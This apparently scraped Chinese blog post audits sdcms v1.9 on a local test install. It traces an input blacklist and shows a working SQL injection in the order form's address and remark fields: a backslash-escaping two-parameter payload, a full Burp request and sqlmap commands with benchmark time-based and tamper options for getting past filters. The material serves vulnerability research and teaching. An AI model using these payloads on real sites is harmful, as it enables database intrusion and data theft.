天天看點

sdcms代碼審計之sql注入

1.漏洞注入點分析(黑名單 )

2.注入payload構造(雙參數構造,sqlmap繞過)

新增賬號後發現網站有線上留言功能,可以檢視能否注入

sdcms代碼審計之sql注入
sdcms代碼審計之sql注入
sdcms代碼審計之sql注入
sdcms代碼審計之sql注入
sdcms代碼審計之sql注入
sdcms代碼審計之sql注入
sdcms代碼審計之sql注入

但是沒有兩個連在一起的可控參數,無法利用成功

繼續往下檢視

sdcms代碼審計之sql注入

檢視F函數

#F函數(get和post)
function F($a,$b='')
{
	$a=strtolower($a);
	if(!strpos($a,'.'))
	{
		$method='other';
	}
	else
	{
		list($method,$a)=explode('.',$a,2);
	}
	switch ($method)
	{
		case 'get':
			$input=$_GET;
			break;
		case 'post':
			$input=$_POST;
			break;
		case 'other':
			switch (REQUEST_METHOD)
			{
				case 'GET':
					$input=$_GET;
					break;
				case 'POST':
					$input=$_POST;
					break;
				default:
					return '';
					break;
			}
			break;
		default:
			return '';
			break;
	}
	$data=isset($input[$a])?$input[$a]:$b;
	if(is_string($data))
	{
		$data=enhtml(trim($data));//過濾資料
	}
	return $data;
}
           
sdcms代碼審計之sql注入

分析發現最後傳遞給了data變量

sdcms代碼審計之sql注入

enhtml函數内容

sdcms代碼審計之sql注入

*stripslashes函數去除加的*

檢視黑名單函數

複制出來然後看哪些字元可以繞過

function filterExp($a)
{
    return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a;
}
           
sdcms代碼審計之sql注入

此處的\過濾對\過濾失效,在php中應該使用\\來過濾\。

我們可以考慮使用\進行sql注入

\\->轉義後成為了一個\
\\\\->轉義後成為了兩個\\,   \\反斜杠才是字元意義上的\,其中一個是用來轉義的\
           

update,seleep函數被過濾,可以考慮extractvalue()報錯函數,和benchmark()時間盲注函數

雙參數插入繞過單引号注入

條件:兩個參數必須連接配接在一起

'abc','127.0.0.1'
第一個參數加\		第二個參數payload
'abc\'    'payload'
\'将原來用于閉合的'轉義為字元串單引号。'abc和payload前的'閉合。最後執行payload 
           
sdcms代碼審計之sql注入

繼續尋找有兩個連在一起的可控參數

sdcms代碼審計之sql注入

檢視路由,進入order函數頁面

sdcms代碼審計之sql注入

但是sdcms.php是加密的,無法檢視。可以通過浏覽器浏覽頁面來猜測路由

sdcms代碼審計之sql注入

寫入測試代碼測試是否為此子產品

sdcms代碼審計之sql注入
sdcms代碼審計之sql注入

頁面無顯示

檢視order方法位于哪個控制器

sdcms代碼審計之sql注入

然後在order方法中寫入測試代碼

sdcms代碼審計之sql注入

根據以上猜測構造url

http://127.0.0.1/sdcmsv1.9/?c=index&a=cate&classid=1
http://127.0.0.1/sdcmsv1.9/?c=other&a=order
           
sdcms代碼審計之sql注入

檢視order函數猜測可能是一個下單的處理函數,是以登入背景添加一個産品再做嘗試

sdcms代碼審計之sql注入

明天繼續

sdcms代碼審計之sql注入

然後使用者登入頁面點選訂購抓包

sdcms代碼審計之sql注入
sdcms代碼審計之sql注入

burp進行sql注入嘗試

構造payload

檢視insert語句插入了多少字段

sdcms代碼審計之sql注入
address=a&remark=a
需要注入的兩個點

插入語句是INSERRT INTO sd_order(pro_name,pri_num,pro_price,orderid,truename,mobile,address,remark,ispay,isover,createdate,postip,userid) VALUES(1,2,3,4,5,6,payload1,payload2,9,10,11,12,13)

INSERT INTO sd_order(adress,remark) VALUES ('','')

payload1為		1\ 	
payload2為		, 1 and extractvalue(1,concat(0x7e,(select user()), 0x7e)),1,1,1,1,1)#
           
sdcms代碼審計之sql注入

使用Burp進行sql報錯嘗試。

sdcms代碼審計之sql注入

sqlmap進行注入

sdcms代碼審計之sql注入

11.txt内容

POST /sdcmsv1.9/?c=other&a=order&id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 61
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/sdcmsv1.9/?c=index&a=show&id=1
Cookie: PHPSESSID=1gj026jd6r1p2sll0uecm4hmu5

truename=a&mobile=15012345678&pronum=1&address=a\&remark=,1 *,1,1,1,1,1)#

           

使用sqlmap

1.
python sqlmap.py -r 11.txt --dbms=mysql --technique=T -v 3
#--technique是指定注入的技術——時間盲注 		-v3 顯示詳細資訊
           
sdcms代碼審計之sql注入
2.
python sqlmap.py -r 11.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest  -v 3 --batch
#--test-filter=benchmark自定義payload裡邊的檢測函數,由于sleep被過濾,用benchmark
#tamper腳本between替換>,繞過htmlspecil函數
#greatest腳本大于号替換為greatest
           
sdcms代碼審計之sql注入

總結

  1. 此sql注入第一次在burp報錯注入的時候,檢視報錯日志後發現雖然sql注入成功,但是錯誤資訊會被cms系統統一顯示,無法利用報錯注入。
  2. 利用sqlmap的tamper,和替換sleep函數,可以進行時間盲注。